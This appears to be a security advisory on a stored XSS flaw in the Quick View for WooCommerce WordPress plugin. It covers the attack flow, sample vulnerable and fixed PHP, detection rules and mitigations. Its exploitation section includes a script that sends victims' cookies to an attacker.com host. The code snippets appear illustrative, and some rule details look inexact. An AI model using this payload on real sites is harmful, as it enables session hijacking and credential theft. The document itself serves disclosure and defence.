CVE-2025-58228

Executive Summary

CVE-2025-58228 is a Stored Cross-Site Scripting (XSS) vulnerability in the Quick View for WooCommerce WordPress plugin by ShapedPlugin LLC. The flaw exists in versions 2.2.16 and below, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into the plugin’s quick view modal. When an administrator or other user views the compromised product, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used in WooCommerce stores, making this a high-impact supply chain risk for e-commerce sites.

Supply Chain & Package Security

• Ecosystem: WordPress Plugin Repository (WooCommerce extension)
• Package: woo-quickview (slug: woo-quickview)
• Risk: Stored XSS in a popular e-commerce plugin can lead to mass compromise of WooCommerce stores. Attackers can inject malicious scripts that persist across page loads, affecting all visitors.
• No official patch has been released by ShapedPlugin LLC. Users must manually apply input sanitization or disable the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor role)
• User Interaction: Required (Admin must view the page)
• Scope: Changed (XSS can affect other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium – Exploitation requires authenticated access, but the stored nature of the XSS increases persistence and reach.

Deep Dive & Mechanics

The vulnerability resides in the Quick View for WooCommerce plugin’s product data handling. When a product is created or edited, the plugin stores user-supplied fields (e.g., product description, custom meta fields) without proper sanitization or output encoding. These fields are later rendered in the quick view modal via JavaScript.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a WooCommerce product.
2. The attacker injects a malicious script into a vulnerable field (e.g., [product_description] or a custom field).
3. The plugin stores the payload in the WordPress database.
4. When an administrator or any user views the product list or quick view modal, the payload executes.
5. The attacker can steal cookies, perform actions on behalf of the victim, or redirect users to malicious sites.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input. The lack of output encoding allows HTML/JavaScript to be rendered.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.2.16):

// In woo-quickview.php or template file
echo '<div class="quick-view-content">' . get_post_meta($product_id, 'custom_description', true) . '</div>';

Patched Code (hypothetical fix):

// Properly escape output
echo '<div class="quick-view-content">' . esc_html( get_post_meta($product_id, 'custom_description', true) ) . '</div>';

Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with WooCommerce and Quick View for WooCommerce <= 2.2.16
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new product or edit an existing one.
3. In the product description or a custom field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the product.
5. As an administrator, navigate to the product list or trigger the quick view modal.
6. The script executes, demonstrating stored XSS.

Advanced Payload (session hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual product edits by low-privilege users.
2. Scan product descriptions and custom fields for <script> tags or event handlers.
3. Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/post.php.

Mitigation:

• Disable the plugin until a patch is released.
• Apply a virtual patch via WAF rules (e.g., ModSecurity).
• Restrict Contributor roles from editing product descriptions if not needed.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/woo-quickview/woo-quickview.php (version <= 2.2.16)
• Database: Suspicious entries in wp_postmeta with meta_key containing custom_description and meta_value containing <script> tags.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: wp-admin POST requests to post.php with action=editpost and content containing JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_58228_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Quick View for WooCommerce plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58228"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = /woo-quickview/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Quick View for WooCommerce
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress product descriptions
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58228 Stored XSS Payload in WooCommerce Quick View"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block <script> tags in product fields.
3. Audit user roles – Remove Contributor access from untrusted users.

Long-Term Fix:

• Update to a patched version once released by ShapedPlugin LLC.
• Implement input sanitization using WordPress functions like wp_kses_post() or esc_html().
• Conduct a security review of all custom fields in the plugin.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Manually edit the plugin file to add esc_html() around vulnerable output (not recommended for non-developers).

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